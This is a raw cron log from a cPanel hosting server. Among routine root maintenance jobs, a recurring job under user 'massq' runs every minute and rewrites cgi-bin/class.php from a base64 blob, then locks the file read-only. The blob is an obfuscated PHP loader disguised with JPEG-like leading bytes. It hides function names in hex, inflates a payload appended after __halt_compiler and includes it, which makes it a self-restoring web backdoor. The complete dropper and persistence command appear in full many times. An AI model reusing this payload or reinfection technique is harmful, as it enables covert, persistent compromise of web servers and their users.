Sep 11 09:20:01 server CROND[29487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:20:01 server CROND[29497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:20:01 server CROND[29500]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:20:01 server CROND[29498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:20:01 server CROND[29501]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:20:01 server CROND[29499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:20:01 server CROND[29496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:21:01 server CROND[30447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:21:01 server CROND[30448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:21:01 server CROND[30449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:22:01 server CROND[30825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:22:01 server CROND[30826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:22:01 server CROND[30827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:23:01 server CROND[31203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:23:01 server CROND[31204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:23:01 server CROND[31205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:24:01 server CROND[31607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:24:01 server CROND[31608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:24:01 server CROND[31609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:25:01 server CROND[31989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:25:01 server CROND[31990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:25:01 server CROND[31992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:25:01 server CROND[31994]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:25:01 server CROND[32002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:25:01 server CROND[32003]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:25:01 server CROND[32006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:26:01 server CROND[462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:26:01 server CROND[465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:26:01 server CROND[466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:27:01 server CROND[873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:27:01 server CROND[874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:27:01 server CROND[875]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:27:01 server CROND[879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:28:01 server CROND[1340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:28:01 server CROND[1341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:28:01 server CROND[1343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:29:01 server CROND[1795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:29:01 server CROND[1796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:29:01 server CROND[1798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:30:01 server CROND[2292]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:30:01 server CROND[2295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:30:01 server CROND[2296]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 09:30:01 server CROND[2297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:30:01 server CROND[2302]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 09:30:01 server CROND[2300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:30:01 server CROND[2299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:30:01 server CROND[2301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:31:01 server CROND[3270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:31:01 server CROND[3271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 09:31:01 server CROND[3272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
